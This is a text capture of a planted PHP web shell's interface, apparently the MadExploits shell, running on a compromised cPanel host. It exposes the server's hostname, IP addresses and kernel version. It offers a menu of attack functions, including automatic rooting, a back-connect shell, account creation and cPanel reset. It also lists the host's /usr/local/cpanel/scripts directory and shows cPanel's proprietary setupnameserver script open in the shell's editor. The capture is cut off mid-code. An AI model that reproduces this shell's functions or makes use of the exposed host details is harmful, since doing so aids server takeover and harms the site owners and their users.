Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 216.73.216.15
46 Domain
7.2.34
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
cpanel /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
cpan_sandbox
[ DIR ]
drwxr-xr-x
php_sandbox
[ DIR ]
drwxr-xr-x
MirrorSearch_pingtest
2.38
KB
-rwxr-xr-x
add_dns
2.36
KB
-rwxr-xr-x
adddns
2.36
KB
-rwxr-xr-x
addpop
5.96
KB
-rwxr-xr-x
addsystemuser
3.27
KB
-rwxr-xr-x
adduser
92
B
-rwxr-xr-x
apachelimits
4.31
KB
-rwxr-xr-x
archive_sync_zones
3.02
KB
-rwxr-xr-x
auto-adjust-mysql-limits
1.81
KB
-rwxr-xr-x
autorepair
1.26
KB
-rwxr-xr-x
backups_clean_metadata_for_mis...
1.57
KB
-rwxr-xr-x
backups_create_metadata
15.75
KB
-rwxr-xr-x
backups_list_user_files
4.56
KB
-rwxr-xr-x
balance_linked_node_quotas
2.62
KB
-rwxr-xr-x
biglogcheck
1.69
KB
-rwxr-xr-x
build_bandwidthdb_root_cache_i...
1.52
KB
-rwxr-xr-x
build_cpnat
3.41
KB
-rwxr-xr-x
build_mail_sni
3.84
KB
-rwxr-xr-x
build_maxemails_config
441
B
-rwxr-xr-x
builddovecotconf
7.72
KB
-rwxr-xr-x
buildeximconf
5.94
KB
-rwxr-xr-x
buildhttpdconf
2.6
KB
-rwxr-xr-x
buildnsdconf
1.01
KB
-rwxr-xr-x
buildpureftproot
539
B
-rwxr-xr-x
ccs-check
4.91
KB
-rwxr-xr-x
check_cpanel_rpms
10.45
KB
-rwxr-xr-x
check_domain_tls_service_domai...
6.68
KB
-rwxr-xr-x
check_immutable_files
5.49
KB
-rwxr-xr-x
check_mail_spamassassin_compil...
187
B
-rwxr-xr-x
check_maxmem_against_domains_c...
3.57
KB
-rwxr-xr-x
check_mount_procfs
2.02
KB
-rwxr-xr-x
check_mysql
5.58
KB
-rwxr-xr-x
check_security_advice_changes
7.4
KB
-rwxr-xr-x
check_unmonitored_enabled_serv...
4.31
KB
-rwxr-xr-x
check_unreliable_resolvers
3.59
KB
-rwxr-xr-x
check_users_my_cnf
6.05
KB
-rwxr-xr-x
check_valid_server_hostname
7.48
KB
-rwxr-xr-x
checkalldomainsmxs
2.4
KB
-rwxr-xr-x
checkbashshell
1.18
KB
-rwxr-xr-x
checkccompiler
1.33
KB
-rwxr-xr-x
checkexim.pl
3.1
KB
-rwxr-xr-x
checklink
1.29
KB
-rwxr-xr-x
checknsddirs
1014
B
-rwxr-xr-x
checkup2date
3.14
KB
-rwxr-xr-x
checkusers
856
B
-rwxr-xr-x
checkyum
1.13
KB
-rwxr-xr-x
chkmydns
561
B
-rwxr-xr-x
chkpaths
141
B
-rwxr-xr-x
chpass
416
B
-rwxr-xr-x
ckillall
1.11
KB
-rwxr-xr-x
clean_cgiemail
5.16
KB
-rwxr-xr-x
clean_dead_mailman_locks
2.09
KB
-rwxr-xr-x
clean_up_temp_wheel_users
2.43
KB
-rwxr-xr-x
clean_user_php_sessions
4.18
KB
-rwxr-xr-x
cleandns
12.25
KB
-rwxr-xr-x
cleandns8
417
B
-rwxr-xr-x
cleanmsglog
735
B
-rwxr-xr-x
cleanphpsessions
947
B
-rwxr-xr-x
cleanphpsessions.php
595
B
-rw-r--r--
cleanquotas
1.6
KB
-rwxr-xr-x
cleansessions
5.66
KB
-rwxr-xr-x
cleanupinterchange
2.64
KB
-rwxr-xr-x
cleanupmysqlprivs
531
B
-rwxr-xr-x
clear_cpaddon_ui_caches
1.03
KB
-rwxr-xr-x
clear_orphaned_virtfs_mounts
3.28
KB
-rwxr-xr-x
comparecdb
1.52
KB
-rwxr-xr-x
compilers
2.86
KB
-rwxr-xr-x
compilerscheck
999
B
-rwxr-xr-x
configure_firewall_for_cpanel
520
B
-rwxr-xr-x
configure_rh_firewall_for_cpan...
520
B
-rwxr-xr-x
configure_rh_ipv6_firewall_for...
656
B
-rwxr-xr-x
convert2dovecot
682
B
-rwxr-xr-x
convert_accesshash_to_token
4.07
KB
-rwxr-xr-x
convert_and_migrate_from_legac...
1.97
KB
-rwxr-xr-x
convert_maildir_to_mdbox
1.66
KB
-rwxr-xr-x
convert_mdbox_to_maildir
1.66
KB
-rwxr-xr-x
convert_roundcube_mysql2sqlite
25.29
KB
-rwxr-xr-x
convert_to_dovecot_delivery
4.33
KB
-rwxr-xr-x
convert_whmxfer_to_sqlite
1.46
KB
-rwxr-xr-x
cpaddonsup
3.22
KB
-rwxr-xr-x
cpan_config
2.8
KB
-rwxr-xr-x
cpanel_initial_install
63.69
KB
-rwxr-xr-x
cpanelsync
28.31
KB
-rwxr-xr-x
cpanelsync_postprocessor
1.69
KB
-rwxr-xr-x
cpanpingtest
965
B
-rwxr-xr-x
cpbackup
44.74
KB
-rwxr-xr-x
cpbackup_transport_file
5.65
KB
-rwxr-xr-x
cpdig
1.81
KB
-rwxr-xr-x
cpfetch
1.23
KB
-rwxr-xr-x
cphulkdblacklist
433
B
-rwxr-xr-x
cphulkdwhitelist
1.3
KB
-rwxr-xr-x
cpservice
2.87
KB
-rwxr-xr-x
cpuser_port_authority
19.29
KB
-rwxr-xr-x
cpuser_service_manager
10.94
KB
-rwxr-xr-x
createacct
21.17
MB
-rwx------
custom_backup_destination.pl.s...
5.06
KB
-rwxr-xr-x
custom_backup_destination.pl.s...
2.84
KB
-rwxr-xr-x
dav_change_hostname
3.57
KB
-rwxr-xr-x
dcpumon-wrapper
850
B
-rwxr-xr-x
delpop
6.2
KB
-rwxr-xr-x
detect_env_capabilities
508
B
-rwxr-xr-x
disable_prelink
2.74
KB
-rwxr-xr-x
disable_sqloptimizer
1.49
KB
-rwxr-xr-x
disablefileprotect
2.13
KB
-rwxr-xr-x
distro_changed_hook
1.08
KB
-rwxr-xr-x
dnscluster
4.44
KB
-rwxr-xr-x
dnsqueuecron
1.29
KB
-rwxr-xr-x
dnssec-cluster-keys
3.75
KB
-rwxr-xr-x
dovecot_maintenance
10.52
KB
-rwxr-xr-x
dovecot_set_defaults.pl
984
B
-rwxr-xr-x
dumpcdb
866
B
-rwxr-xr-x
dumpinodes
687
B
-rwxr-xr-x
dumpquotas
616
B
-rwxr-xr-x
dumpstor
913
B
-rwxr-xr-x
ea4_fresh_install
2.64
KB
-rwxr-xr-x
edit_cpanelsync_exclude_list
2.58
KB
-rwxr-xr-x
editquota
3.44
KB
-rwxr-xr-x
email_archive_maintenance
6.15
KB
-rwxr-xr-x
email_hold_maintenance
1.46
KB
-rwxr-xr-x
enable_spf_dkim_globally
8.83
KB
-rwxr-xr-x
enable_sqloptimizer
1.57
KB
-rwxr-xr-x
enablefileprotect
2.14
KB
-rwxr-xr-x
ensure_autoenabled_features
2.46
MB
-rwx------
ensure_conf_dir_crt_key
4.82
KB
-rwxr-xr-x
ensure_cpuser_file_ip
2.55
KB
-rwxr-xr-x
ensure_crontab_permissions
1.08
KB
-rwxr-xr-x
ensure_dovecot_memory_limits_m...
3.13
KB
-rwxr-xr-x
ensure_hostname_resolves
2.34
KB
-rwxr-xr-x
ensure_includes
601
B
-rwxr-xr-x
ensure_vhost_includes
13.53
KB
-rwxr-xr-x
ensurerpm
416
B
-rwxr-xr-x
ensurerpm2
1.94
KB
-rwxr-xr-x
exim_tidydb
3.06
KB
-rwxr-xr-x
eximconfgen
1.32
KB
-rwxr-xr-x
eximstats_spam_check
867
B
-rwxr-xr-x
exportmydnsdb
3.47
KB
-rwxr-xr-x
expunge_expired_certificates_f...
3.56
KB
-rwxr-xr-x
expunge_expired_pkgacct_sessio...
852
B
-rwxr-xr-x
expunge_expired_transfer_sessi...
1.06
KB
-rwxr-xr-x
fastmail
5.16
KB
-rwxr-xr-x
featuremod
1.92
KB
-rwxr-xr-x
fetchfile
422
B
-rwxr-xr-x
find_and_fix_rpm_issues
5.68
KB
-rwxr-xr-x
find_outdated_services
4.62
KB
-rwxr-xr-x
find_pids_with_inotify_watch_o...
3.66
KB
-rwxr-xr-x
findphpversion
2.21
KB
-rwxr-xr-x
fix-cpanel-perl
20.56
KB
-rwxr-xr-x
fix-listen-on-localhost
3.52
KB
-rwxr-xr-x
fix-web-vhost-configuration
6.15
KB
-rwxr-xr-x
fix_addon_permissions
7.68
KB
-rwxr-xr-x
fix_innodb_tables
4.05
KB
-rwxr-xr-x
fix_pear_registry
4.24
KB
-rwxr-xr-x
fix_reseller_acls
11.58
KB
-rwxr-xr-x
fixetchosts
4.21
KB
-rwxr-xr-x
fixheaders
572
B
-rwxr-xr-x
fixheaders-32bit
619
B
-rwxr-xr-x
fixmailinglistperms
1008
B
-rwxr-xr-x
fixmailman
2.09
KB
-rwxr-xr-x
fixnamedviews
1.22
KB
-rwxr-xr-x
fixndc
413
B
-rwxr-xr-x
fixquotas
13.75
KB
-rwxr-xr-x
fixquotas-onboot
564
B
-rwxr-xr-x
fixrelayd
1.44
KB
-rwxr-xr-x
fixrndc
16.48
KB
-rwxr-xr-x
fixtar
503
B
-rwxr-xr-x
fixtlsversions
4.7
KB
-rwxr-xr-x
fixvaliases
2
KB
-rwxr-xr-x
fixwebalizer
966
B
-rwxr-xr-x
forcelocaldomain
895
B
-rwxr-xr-x
ftpfetch
2.2
KB
-rwxr-xr-x
ftpquotacheck
7.7
KB
-rwxr-xr-x
ftpsfetch
2.36
KB
-rwxr-xr-x
ftpupdate
261
B
-rwxr-xr-x
gather_update_log_stats
4.25
KB
-rwx------
gather_update_logs_setupcronta...
5.45
KB
-rwx------
gemwrapper
1.74
KB
-rwxr-xr-x
gencrt
5.94
KB
-rwxr-xr-x
generate_account_suspension_in...
5.7
KB
-rwxr-xr-x
generate_google_drive_credenti...
1.11
KB
-rwxr-xr-x
generate_google_drive_oauth_ur...
984
B
-rwxr-xr-x
generate_maildirsize
14.01
KB
-rwxr-xr-x
gensysinfo
825
B
-rwxr-xr-x
get_locale_from_legacy_name_in...
1.99
KB
-rwxr-xr-x
getremotecpmove
12.69
KB
-rwxr-xr-x
grpck
1.19
KB
-rwxr-xr-x
hackcheck
3.02
KB
-rwxr-xr-x
hook
1.45
KB
-rwxr-xr-x
httpspamdetect
2.66
KB
-rwxr-xr-x
hulk-unban-ip
4.1
MB
-rwx------
import_exim_data
8.36
KB
-rwxr-xr-x
importmydnsdb
11.34
KB
-rwxr-xr-x
increase_filesystem_limits
891
B
-rwxr-xr-x
initacls
4.97
KB
-rwxr-xr-x
initfpsuexec
442
B
-rwxr-xr-x
initquotas
19.56
KB
-rwxr-xr-x
initsuexec
4.03
KB
-rwxr-xr-x
install_cpanel_analytics
1.73
KB
-rwxr-xr-x
install_dovecot_fts
845
B
-rwxr-xr-x
install_lets_encrypt_autossl_p...
646
B
-rwxr-xr-x
install_plugin
2.58
KB
-rwxr-xr-x
installpkg
575
B
-rwxr-xr-x
installpostgres
7.66
KB
-rwxr-xr-x
installrpm
495
B
-rwxr-xr-x
installrpm2
675
B
-rwxr-xr-x
installsqlite3
1.82
KB
-rwxr-xr-x
ipcheck
3.92
KB
-rwxr-xr-x
ipusage
7.45
KB
-rwxr-xr-x
isdedicatedip
602
B
-rwxr-xr-x
jetbackup-check
3.69
KB
-rwxr-xr-x
killdns
422
B
-rwxr-xr-x
killdns-dnsadmin
1.15
KB
-rwxr-xr-x
killmysqluserprivs
433
B
-rwxr-xr-x
killmysqlwildcard
1.15
KB
-rwxr-xr-x
killpvhost
853
B
-rwxr-xr-x
killspamkeys
937
B
-rwxr-xr-x
link_3rdparty_binaries
1.27
KB
-rwxr-xr-x
linksubemailtomainacct
3.17
KB
-rwxr-xr-x
listcheck
538
B
-rwxr-xr-x
listsubdomains
1.05
KB
-rwxr-xr-x
litespeed-check
3.86
KB
-rwxr-xr-x
locale_export
4.82
KB
-rwxr-xr-x
locale_import
4.35
KB
-rwxr-xr-x
locale_info
3.99
KB
-rwxr-xr-x
logo.dat
205
B
-rw-r--r--
magicloader
1.94
KB
-rwxr-xr-x
maildir_converter
6.07
KB
-rwxr-xr-x
mailperm
16.58
KB
-rwxr-xr-x
mailscannerupdate
2.42
KB
-rwxr-xr-x
mainipcheck
9.82
KB
-rwxr-xr-x
maintenance
43.69
KB
-rwxr-xr-x
make_config
407
B
-rw-r--r--
make_hostname_unowned
1.16
KB
-rwxr-xr-x
manage_greylisting
16.25
KB
-rwxr-xr-x
manage_mysql_profiles
19.82
KB
-rwxr-xr-x
migrate-pdns-conf
9.74
KB
-rwxr-xr-x
migrate_local_ini_to_php_ini
7.41
KB
-rwxr-xr-x
migrate_whmtheme_file_to_userd...
2.95
KB
-rwxr-xr-x
mkwwwacctconf
2.27
KB
-rwxr-xr-x
modify_accounts
4
KB
-rwxr-xr-x
modify_packages
3.54
KB
-rwxr-xr-x
modsec_vendor
15.63
KB
-rwxr-xr-x
mysqlconnectioncheck
6
KB
-rwxr-xr-x
mysqlpasswd
4.09
KB
-rwxr-xr-x
named.ca
1.57
KB
-rw-r--r--
named.rfc1912.zones
774
B
-rw-r--r--
notify_expiring_certificates
9.29
KB
-rwxr-xr-x
notify_expiring_certificates_o...
1.39
KB
-rwxr-xr-x
oopscheck
1.12
KB
-rwxr-xr-x
optimize_eximstats
3.88
KB
-rwxr-xr-x
patch_mail_spamassassin_compil...
2.39
KB
-rwxr-xr-x
patchfdsetsize
2.72
KB
-rwxr-xr-x
pedquota
2.26
KB
-rwxr-xr-x
perform_sqlite_auto_rebuild_db...
2.2
KB
-rwxr-xr-x
perlinstaller
528
B
-rwxr-xr-x
perlmods
1.18
KB
-rwxr-xr-x
php_fpm_config
9.73
KB
-rwxr-xr-x
phpini_tidy
687
B
-rwxr-xr-x
pkgacct
85.65
KB
-rwxr-xr-x
post_sync_cleanup
6.09
KB
-rwxr-xr-x
preupcp
741
B
-rwxr-xr-x
primary_virtual_host_migration
2.44
KB
-rwxr-xr-x
process_pending_cpanel_php_pea...
3.48
KB
-rwxr-xr-x
process_site_templates
7.27
KB
-rwxr-xr-x
proftpd.conf.default
2.75
KB
-rw-r--r--
proxydomains
9.34
KB
-rwxr-xr-x
ptycheck
724
B
-rwxr-xr-x
purge_modsec_log
1.53
KB
-rwxr-xr-x
purge_old_config_caches
2.08
KB
-rwxr-xr-x
pwck
708
B
-rwxr-xr-x
quickdnslookup
1.13
KB
-rwxr-xr-x
quickwhoisips
2.29
KB
-rwxr-xr-x
quota_auto_fix
1.41
KB
-rwxr-xr-x
quotacheck
22.36
KB
-rwxr-xr-x
rawchpass
460
B
-rwxr-xr-x
rdate
1.86
KB
-rwxr-xr-x
realadduser
5.64
KB
-rwxr-xr-x
realchpass
3.26
KB
-rwxr-xr-x
realperlinstaller
5.67
KB
-rwxr-xr-x
realrawchpass
425
B
-rwxr-xr-x
rebuild_available_rpm_addons_c...
1.03
KB
-rwxr-xr-x
rebuild_bandwidthdb_root_cache
1.45
KB
-rwxr-xr-x
rebuild_dbmap
5.8
KB
-rwxr-xr-x
rebuild_provider_openid_connec...
1.01
KB
-rwxr-xr-x
rebuild_whm_chrome
2.22
KB
-rwxr-xr-x
rebuilddnsconfig
26.19
KB
-rwxr-xr-x
rebuildhttpdconf
2.6
KB
-rwxr-xr-x
rebuildinstalledssldb
2.85
KB
-rwxr-xr-x
rebuildippool
509
B
-rwxr-xr-x
rebuildnsdzones
1.14
KB
-rwxr-xr-x
rebuilduserssldb
948
B
-rwxr-xr-x
refresh-dkim-validity-cache
5.97
KB
-rwxr-xr-x
regenerate_tokens
1.54
KB
-rwxr-xr-x
reloadnsd
821
B
-rwxr-xr-x
remove_dovecot_index_files
5.89
KB
-rwxr-xr-x
removeacct
17.69
MB
-rwx------
rescan_user_dovecot_fts
2.97
KB
-rwxr-xr-x
reset_mail_quotas_to_sane_valu...
6.82
KB
-rwxr-xr-x
resetmailmanurls
2.03
KB
-rwxr-xr-x
resetquotas
4.68
KB
-rwxr-xr-x
restartsrv
3.23
KB
-rwxr-xr-x
restartsrv_apache
422
B
-rwxr-xr-x
restartsrv_apache_php_fpm
8.67
MB
-rwxr-xr-x
restartsrv_base
8.67
MB
-rwxr-xr-x
restartsrv_bind
8.67
MB
-rwxr-xr-x
restartsrv_chkservd
427
B
-rwxr-xr-x
restartsrv_clamd
8.67
MB
-rwxr-xr-x
restartsrv_cpanalyticsd
8.67
MB
-rwxr-xr-x
restartsrv_cpanel_php_fpm
8.67
MB
-rwxr-xr-x
restartsrv_cpanellogd
8.67
MB
-rwxr-xr-x
restartsrv_cpdavd
8.67
MB
-rwxr-xr-x
restartsrv_cpgreylistd
8.67
MB
-rwxr-xr-x
restartsrv_cphulkd
8.67
MB
-rwxr-xr-x
restartsrv_cpipv6
8.67
MB
-rwxr-xr-x
restartsrv_cpsrvd
8.67
MB
-rwxr-xr-x
restartsrv_crond
8.67
MB
-rwxr-xr-x
restartsrv_dnsadmin
8.67
MB
-rwxr-xr-x
restartsrv_dovecot
8.67
MB
-rwxr-xr-x
restartsrv_exim
8.67
MB
-rwxr-xr-x
restartsrv_eximstats
504
B
-rwxr-xr-x
restartsrv_ftpd
426
B
-rwxr-xr-x
restartsrv_ftpserver
911
B
-rwxr-xr-x
restartsrv_httpd
8.67
MB
-rwxr-xr-x
restartsrv_imap
437
B
-rwxr-xr-x
restartsrv_inetd
2.67
KB
-rwxr-xr-x
restartsrv_ipaliases
8.67
MB
-rwxr-xr-x
restartsrv_lmtp
437
B
-rwxr-xr-x
restartsrv_mailman
8.67
MB
-rwxr-xr-x
restartsrv_mydns
8.67
MB
-rwxr-xr-x
restartsrv_mysql
8.67
MB
-rwxr-xr-x
restartsrv_named
777
B
-rwxr-xr-x
restartsrv_nscd
8.67
MB
-rwxr-xr-x
restartsrv_nsd
8.67
MB
-rwxr-xr-x
restartsrv_p0f
8.67
MB
-rwxr-xr-x
restartsrv_pdns
8.67
MB
-rwxr-xr-x
restartsrv_pop3
437
B
-rwxr-xr-x
restartsrv_postgres
427
B
-rwxr-xr-x
restartsrv_postgresql
8.67
MB
-rwxr-xr-x
restartsrv_powerdns
442
B
-rwxr-xr-x
restartsrv_proftpd
8.67
MB
-rwxr-xr-x
restartsrv_pureftpd
8.67
MB
-rwxr-xr-x
restartsrv_queueprocd
8.67
MB
-rwxr-xr-x
restartsrv_rsyslog
8.67
MB
-rwxr-xr-x
restartsrv_rsyslogd
437
B
-rwxr-xr-x
restartsrv_spamd
8.67
MB
-rwxr-xr-x
restartsrv_sshd
8.67
MB
-rwxr-xr-x
restartsrv_syslogd
2.47
KB
-rwxr-xr-x
restartsrv_tailwatchd
8.67
MB
-rwxr-xr-x
restartsrv_unknown
8.67
MB
-rwxr-xr-x
restartsrv_xinetd
422
B
-rwxr-xr-x
restorecpuserfromcache
1.96
KB
-rwxr-xr-x
restorepkg
30.64
MB
-rwx------
retry_rpm
4.31
KB
-rwxr-xr-x
rfc1912_zones.tar
10
KB
-rw-r--r--
rpmup
12.56
KB
-rwxr-xr-x
rpmup2
12.56
KB
-rwxr-xr-x
rsync-user-homedir.pl
5.76
KB
-rwxr-xr-x
run_if_exists
510
B
-rwxr-xr-x
runstatsonce
438
B
-rwxr-xr-x
runweblogs
1.02
KB
-rwxr-xr-x
sa-update_wrapper
3.41
KB
-rwxr-xr-x
safetybits.pl
844
B
-rwxr-xr-x
safeup2date
618
B
-rwxr-xr-x
secureit
4.72
KB
-rwxr-xr-x
securemysql
4.54
KB
-rwxr-xr-x
securerailsapps
3.58
KB
-rwxr-xr-x
securetmp
15.95
KB
-rwxr-xr-x
send_api_notifications
1.15
KB
-rwxr-xr-x
sendicq
474
B
-rwxr-xr-x
servicedomains
9.34
KB
-rwxr-xr-x
set_mailman_archive_perms
1.75
KB
-rwxr-xr-x
set_php_memory_limits
3.67
KB
-rwxr-xr-x
setpostgresconfig
6.04
KB
-rwxr-xr-x
setup_greylist_db
16.25
KB
-rwxr-xr-x
setup_modsec_db
1.3
KB
-rwxr-xr-x
setupftpserver
10.47
KB
-rwxr-xr-x
setupmailserver
9.48
KB
-rwxr-xr-x
setupnameserver
14.82
KB
-rwxr-xr-x
shrink_modsec_ip_database
12.97
KB
-rwxr-xr-x
simpleps
3.05
KB
-rwxr-xr-x
slurp_exim_mainlog
5.78
KB
-rwxr-xr-x
smartcheck
15.13
KB
-rwxr-xr-x
smtpmailgidonly
7.66
KB
-rwxr-xr-x
spamassassin_dbm_cleaner
5.85
KB
-rwxr-xr-x
spamassassindisable
3.74
KB
-rwxr-xr-x
spamboxdisable
2.27
KB
-rwxr-xr-x
sshcontrol
14.37
KB
-rwxr-xr-x
ssl_crt_status
3.84
KB
-rwxr-xr-x
suspendacct
16.63
KB
-rwxr-xr-x
suspendmysqlusers
4.42
KB
-rwxr-xr-x
swapip
6
KB
-rwxr-xr-x
sync-mysql-users-from-grants
1.2
KB
-rwxr-xr-x
sync_child_accounts
1.77
KB
-rwxr-xr-x
sync_contact_emails_to_cpanel_...
1.72
KB
-rwxr-xr-x
synccpaddonswithsqlhost
6.14
KB
-rwxr-xr-x
synctransfers
1.92
KB
-rwxr-xr-x
syslog_check
1.36
KB
-rwxr-xr-x
sysup
645
B
-rwxr-xr-x
test_sa_compiled
1.07
KB
-rwxr-xr-x
transfer_account_as_user
2.4
KB
-rwxr-xr-x
transfer_accounts_as_root
4.8
KB
-rwxr-xr-x
transfer_in_progress
3.08
KB
-rwxr-xr-x
transfer_in_progress.pod
312
B
-rw-r--r--
transfermysqlusers
8.1
MB
-rwx------
try-later
8.05
KB
-rwxr-xr-x
unblockip
667
B
-rwxr-xr-x
uninstall_cpanel_analytics
1.2
KB
-rwxr-xr-x
uninstall_dovecot_fts
562
B
-rwxr-xr-x
uninstall_lets_encrypt_autossl...
1.19
KB
-rwxr-xr-x
uninstall_plugin
2.62
KB
-rwxr-xr-x
unlink_service_account
2.62
KB
-rwxr-xr-x
unpkgacct
4.6
KB
-rwxr-xr-x
unslavenamedconf
863
B
-rwxr-xr-x
unsuspendacct
16.53
KB
-rwxr-xr-x
unsuspendmysqlusers
6.75
KB
-rwxr-xr-x
upcp
31.38
KB
-rwxr-xr-x
upcp-running
2.7
KB
-rwxr-xr-x
upcp.static
687.18
KB
-rwxr-xr-x
update_apachectl
480
B
-rwxr-xr-x
update_db_cache
430
B
-rwxr-xr-x
update_dkim_keys
1.45
KB
-rwxr-xr-x
update_exim_rejects
1.21
KB
-rwxr-xr-x
update_known_proxy_ips
1002
B
-rwxr-xr-x
update_local_rpm_versions
3.83
KB
-rwxr-xr-x
update_mailman_cache
8.34
KB
-rwxr-xr-x
update_mysql_systemd_config
1.26
KB
-rwxr-xr-x
update_neighbor_netblocks
487
B
-rwxr-xr-x
update_sa_config
2.16
KB
-rwxr-xr-x
update_spamassassin_config
12.22
KB
-rwxr-xr-x
update_users_jail
691
B
-rwxr-xr-x
update_users_vhosts
801
B
-rwxr-xr-x
updatedomainips
605
B
-rwxr-xr-x
updatenameserverips
1.66
KB
-rwxr-xr-x
updatenow
5.42
KB
-rwxr-xr-x
updatenow.static
1.84
MB
-rwxr-xr-x
updatesigningkey
1.95
KB
-rwxr-xr-x
updatessldomains
1.81
KB
-rwxr-xr-x
updatesupportauthorizations
2.49
KB
-rwxr-xr-x
updateuserdatacache
2.47
KB
-rwxr-xr-x
updateuserdomains
774
B
-rwxr-xr-x
upgrade_bandwidth_dbs
2.22
KB
-rwxr-xr-x
upgrade_subaccount_databases
2.73
KB
-rwxr-xr-x
userdata_wildcard_cleanup
5.74
KB
-rwxr-xr-x
userdirctl
5.01
KB
-rwxr-xr-x
validate_sshkey_passphrase
1.21
KB
-rwxr-xr-x
verify_api_spec_files
757
B
-rwxr-xr-x
verify_pidfile
1.96
KB
-rwxr-xr-x
verify_vhost_includes
7.39
KB
-rwxr-xr-x
vps_optimizer
7.81
KB
-rwxr-xr-x
vzzo-fixer
725
B
-rwxr-xr-x
whmlogin
2.33
KB
-rwxr-xr-x
whoowns
1.13
KB
-rwxr-xr-x
wpt_license
4.43
MB
-rwx------
wwwacct
21.17
MB
-rwx------
wwwacct2
88
B
-rwxr-xr-x
xfer_rcube_schema_migrate.pl
2.4
KB
-rwxr-xr-x
xfer_rcube_uid_resolver.pl
1.8
KB
-rwxr-xr-x
xferpoint
3.2
KB
-rwxr-xr-x
xfertool
14.02
KB
-rwxr-xr-x
yum_update_openssl
880
B
-rwxr-xr-x
zoneexists
800
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : setupnameserver
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/setupnameserver Copyright 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; use warnings; use Config::Tiny (); use Cpanel::Config::LoadCpConf (); use Cpanel::Config::CpConfGuard (); use Cpanel::ServerTasks (); use Cpanel::Chkservd::Manage (); use Cpanel::Chkservd::Tiny (); use Cpanel::RPM (); use Cpanel::RPM::Versions::File (); use Cpanel::RPM::Versions::Directory (); use Cpanel::Services::Enabled (); use Cpanel::Services::Restart (); use Cpanel::Init (); use Cpanel::NameServer::Utils::Enabled (); use Cpanel::Usage (); use Cpanel::PID (); use Cpanel::Encoder::Tiny (); use Cpanel::RestartSrv::Systemd (); use Cpanel::ServerTasks (); my $force = 0; my $current = 0; my $html = 0; delete $ENV{'cp_security_token'}; delete $ENV{'HTTP_REFERER'}; # Argument processing my %opts = ( 'force' => \$force, 'current' => \$current, 'html' => \$html, ); Cpanel::Usage::wrap_options( \@ARGV, \&usage, \%opts ); @ARGV = ( grep( !/^--/, @ARGV ) ); my $dnstype = shift; usage() unless ( $dnstype || $current ); if ( $> != 0 ) { die "Conversion process must be performed as root"; } my $cpconf_ref = Cpanel::Config::LoadCpConf::loadcpconf_not_copy(); $cpconf_ref->{'local_nameserver_type'} ||= 'powerdns'; my $current_nameserver = Cpanel::Services::Enabled::is_enabled('dns') ? $cpconf_ref->{'local_nameserver_type'} : 'disabled'; if ($current) { print "Current nameserver type: $current_nameserver\n"; exit 0; } if ( !$force && $current_nameserver eq $dnstype ) { print "Already configured.\n"; exit 0; } my $valid_dnstypes = { map { $_ => 1 } qw(bind nsd mydns powerdns disabled) }; unless ( $valid_dnstypes->{$dnstype} ) { print "Unknown nameserver type specified.\nTry $0 --help\n"; exit 1; } my ( $valid, $reason ) = Cpanel::NameServer::Utils::Enabled::valid_nameserver_type($dnstype); unless ($valid) { print "The specified nameserver type is not available for your system:\n"; print $reason, "\n"; exit 1; } if ( !$force && $current_nameserver eq 'powerdns' && $dnstype ne 'powerdns' && -t STDIN ) { print "WARNING: If you switch your nameserver away from PowerDNS, your DNS server will no longer serve DNSSEC records.\n"; print "You must ensure that the domains do not have DS records configured at their domain registrar.\n"; print "Failure to do so will cause DNS resolution issues.\n\n"; my $msg = qq{Are you sure you want to switch to "$dnstype" [y/n]? }; print $msg; my $count = 0; while ( my $read = <STDIN> ) { $count++; exit if ( $count >= 5 ); exit if ( $read =~ m/^n/i ); last if ( $read =~ m/^y/i ); print $msg; } } # Check if the target service is currently unmanaged # WARNING: GLOBAL VARIABLE if ( !$force && $dnstype =~ m/^(nsd|mydns|powerdns)$/ ) { my $dir = Cpanel::RPM::Versions::Directory->new( { 'dont_set_legacy' => 1 } ); my $target_state = $dir->fetch( { 'section' => 'target_settings', 'key' => $dnstype } ); if ( $target_state && $target_state =~ m/^(unmanaged|uninstalled)$/ ) { print "WARNING: You are attempting to switch to $dnstype, but it has explicitly been set to $target_state in /var/cpanel/rpm.versions.d/\n"; print "This means its RPMs have been flagged to be left alone by cPanel. " if ( $target_state eq 'unmanaged' ); print "This means its RPMs have been explicitly blocked from installation. " if ( $target_state eq 'uninstalled' ); print "If this was unintentional, you may be able to remove\nthis flag by running the following command and then re-running setupnameserver\n"; print "\n /usr/local/cpanel/scripts/update_local_rpm_versions --del target_settings.$dnstype\n\n"; print "If you meant to do this, please re-run setupnameserver with --force\n\n"; exit 2; } } my $pid_obj = Cpanel::PID->new( { 'pid_file' => '/var/run/setupnameserver.pid' } ); unless ( $pid_obj->create_pid_file() > 0 ) { print "Setupnameserver appears to be running already.\n"; print "Please wait for the conversion to finish before attempting another.\n"; exit 1; } # check bind rpm before any actions, as we are not going to autofix it, but le the admin take care of it check_bind() if $dnstype eq 'bind'; { my $cpconf_guard = Cpanel::Config::CpConfGuard->new(); print "Setting name server to $dnstype in /var/cpanel/cpanel.config\n"; $cpconf_ref->{'local_nameserver_type'} = $cpconf_guard->{'data'}->{'local_nameserver_type'} = $dnstype; $cpconf_guard->save(); } my $init = Cpanel::Init->new(); suspend_chksrvd_monitoring(); _disable_systemd_resolved_stub_resolver(); #branch to uninsall/install functions if ( $dnstype eq 'nsd' ) { disable_none(); disable_bind(); disable_mydns(); disable_powerdns(); enable_nsd(); enable_chksrvd_monitoring(); } elsif ( $dnstype eq 'bind' ) { disable_none(); disable_nsd(); disable_mydns(); disable_powerdns(); enable_bind(); enable_chksrvd_monitoring(); } elsif ( $dnstype eq 'mydns' ) { disable_none(); disable_nsd(); disable_bind(); disable_powerdns(); enable_mydns(); enable_chksrvd_monitoring(); } elsif ( $dnstype eq 'powerdns' ) { disable_none(); disable_nsd(); disable_bind(); disable_mydns(); enable_powerdns(); enable_chksrvd_monitoring(); } else { disable_chksrvd_monitoring(); enable_none(); disable_bind(); 